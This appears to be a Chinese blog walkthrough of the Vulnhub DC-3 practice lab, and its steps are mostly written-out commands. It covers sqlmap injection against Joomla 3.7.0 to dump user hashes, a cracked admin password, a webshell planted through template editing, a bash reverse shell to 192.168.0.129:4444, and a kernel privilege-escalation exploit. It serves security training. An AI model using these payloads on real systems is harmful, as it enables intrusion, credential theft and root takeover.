Vulnhub[DC3]

简介

image-20220612153658026

下载

流程

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

image-20220612153755868

经过筛选可以知道192.168.0.152 是DC-3的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.152

image-20220612154101200

发现这里只是开了80端口

看下80端口,通过wappalyzer,发现用的是JoomlaCMS,而且用的是PHP

image-20220612154242681

同时主页也给我们提示,表明这个靶机只有一个flag

DC-3

Home

Welcome to DC-3Details

  • Written by admin

Welcome to DC-3.

This time, there is only one flag, one entry point and no clues.

To get the flag, you'll obviously have to gain root privileges.

How you get to be root is up to you - and, obviously, the system.

Good luck - and I hope you enjoy this little challenge. 😃

You are here: Home

翻译:

DC-3

欢迎来到 DC-3 详情

  • 由管理员撰写

欢迎来到 DC-3。

这一次,只有一个标志,一个入口,没有任何线索。
要获得标志,您显然必须获得 root 权限。
如何成为 root 取决于您 - 显然,取决于系统。
祝你好运 - 我希望你喜欢这个小挑战。 😃

你在这里:首页

这里我们可以用御剑扫目录出后台

image-20220612154922036

http://192.168.127.134/administrator/index.php 查看后台

image-20220612155049042

msf中搜索Joomla

image-20220612155359490

这里我们先使用auxiliary/scanner/http/joomla_version查看版本信息

image-20220612155548390

这里就可以得知这里使用的Joomla版本是3.7.0

渗透

登录后台

然后可以查到这个版本是有sql注入exploit链接 ,直接sqlmap梭哈

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

得到数据库

image-20220612160012404

除了joomladb都是系统自带的库

然后查表

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

这查出76张表

image-20220612160735541

我们还是先关注user表

image-20220612160820531

查列名

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

image-20220612161039388

然后查username和password

sqlmap -u "http://192.168.0.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]

image-20220612161242216

这里也可以直接用利用工具直接梭哈

image-20220612161640756

cmd5查不到

image-20220612161744699

没办法,只好用john了

image-20220612162109045

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
-->snoopy

我们尝试进行登陆,发现是正确的账号密码

账号:admin
密码:snoopy

image-20220612163159332

上传一句话木马

这里可以找到用编辑模板的方式上传webshell

image-20220612163428992

我们这里直接编辑Protostar Details and Files模板

image-20220612164836472

然后直接编辑index.php,写入一句话木马

image-20220612165037513

然后我们访问下这个http://192.168.0.152/,没有出现404说明成功上传

image-20220612165146137

提权

使用蚁剑成功连接

image-20220612170508132

来到终端输入uname -alsb_release -a

image-20220612170542503

搜索利用模块searchsploit ubuntu 16.04 4.4

image-20220612170756347

Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation,此模块可提权成功

Exp

unzip 39772.zip
cd /var/www/html/39772/
tar -vxf exploit.tar
cd ebpf_mapfd_doubleput_exploit/
chmod u+x compile.sh
./compile.sh
./doubleput

image-20220612171421485

可以看到在蚁剑的终端并没提权成功

后来我换了nc连接shell,index.php编辑内容为<?php system(“bash -c ‘bash -i >& /dev/tcp/192.168.0.129/4444 0>&1’”) ?>

开启监听,然后刷新网页,成功连上

image-20220612171808169

执行相同的命令,成功提权

image-20220612172311134

posted @ 2022-06-12 17:26  Townmacro  阅读(283)  评论(0编辑  收藏  举报